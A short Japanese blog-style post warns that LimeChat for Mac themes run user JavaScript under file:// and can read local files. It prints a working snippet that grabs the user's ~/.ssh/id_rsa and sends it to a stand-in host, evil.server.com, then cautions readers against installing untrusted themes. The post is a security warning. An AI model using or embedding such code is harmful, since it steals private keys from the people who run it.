思い出した。社内の掲示板にはだいぶ昔に書いたんだけど。
LimeChat for Macはユーザ定義のCSSやJavaScriptで見た目や振る舞いをカスタマイズすることが出来る(Preferences -> Theme)。JavaScriptのコード内でlocation.hrefを取ると、file://で動いていることが分かる。
…後は分かるな?
いや分からんがな。という人は以下の記事を読もう
http://subtech.g.hatena.ne.jp/mala/20110512/1305185107
だいたいこんな感じのコードで外部のサーバにローカルのファイルを漏らせる
document.addEventListener("DOMNodeInserted", function() { var xhr1 = new XMLHttpRequest(); var xhr2 = new XMLHttpRequest(); var username = location.href.match(/Users\/(.*?)\//)[1]; xhr1.open("GET", "file:///Users/" + username + "/.ssh/id_rsa"); xhr1.onreadystatechange = function() { if ( xhr1.readyState === 4 ) { xhr2.open("GET", "http://evil.server.com/" + xhr1.responseText); xhr2.send(); } }; xhr1.send(); }, false);
LimeChat for Mac使ってる人はその辺に落ちてるthemeを気軽にぺろぺろしちゃだめだよ!ということで。